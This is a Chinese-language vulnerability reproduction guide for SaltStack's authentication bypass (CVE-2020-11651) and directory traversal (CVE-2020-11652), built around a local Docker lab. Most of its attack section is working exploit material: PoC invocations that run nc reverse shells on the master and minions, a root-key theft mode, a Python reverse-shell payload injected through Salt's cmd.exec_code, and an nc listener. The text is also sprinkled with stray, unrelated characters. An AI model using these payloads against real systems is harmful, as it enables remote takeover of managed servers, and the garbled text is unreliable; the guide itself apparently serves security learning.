本文僅用于安全技術(shù)交流學(xué)習(xí)
SaltStack 是基于 Python 開(kāi)發(fā)的一套C/S架構(gòu)配置管理工具。國(guó)外某安全團(tuán)隊(duì)披露了 SaltStack 存在認(rèn)證繞過(guò)漏洞(CVE-2020-11651)和目錄遍歷漏洞(CVE-2020-11652)呵俏。
在 CVE-2020-11651 認(rèn)證繞過(guò)漏洞中堆缘,攻擊者通過(guò)構(gòu)造惡意請(qǐng)求,可以繞過(guò) Salt Master 的驗(yàn)證邏輯普碎,調(diào)用相關(guān)未授權(quán)函數(shù)功能吼肥,從而可以造成遠(yuǎn)程命令執(zhí)行漏洞。
參考鏈接:
- https://labs.f-secure.com/advisories/saltstack-authorization-bypass
- https://github.com/rossengeorgiev/salt-security-backports
- https://github.com/saltstack/salt/blob/a67d76b15615983d467ed81371b38b4a17e4f3b7/tests/integration/master/test_clear_funcs.py
漏洞環(huán)境
執(zhí)行如下命令啟動(dòng)一個(gè)SaltStack Master服務(wù):
docker-compose up -d
環(huán)境啟動(dòng)后麻车,將會(huì)在本地監(jiān)聽(tīng)如下端口:
- 4505/4506 這是SaltStack Master與minions通信的端口
- 8000 這是Salt的API端口
- 2222 這是容器內(nèi)部的SSH服務(wù)器監(jiān)聽(tīng)的端口
漏洞復(fù)現(xiàn)
首先獲取PoC代碼缀皱,需要python3的環(huán)境,先安裝依賴包pip install salt
舉例如下:
./cve-2020-11651.py 192.168.134.13 master 'nc 192.168.134.13 4444 -e "/bin/bash"'
./cve-2020-11651.py 192.168.134.13 minions 'nc 192.168.134.13 4444 -e "/bin/bash"'
./cve-2020-11651.py 192.168.134.13 fetchkeyonly
如果環(huán)境中沒(méi)有nc动猬,也可以修改PoC代碼啤斗,使用python直接構(gòu)造反彈shell。代碼中的payload由
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
改為:
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.134.13",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
控制端開(kāi)啟nc接受反彈shell
nc -lvnp 4444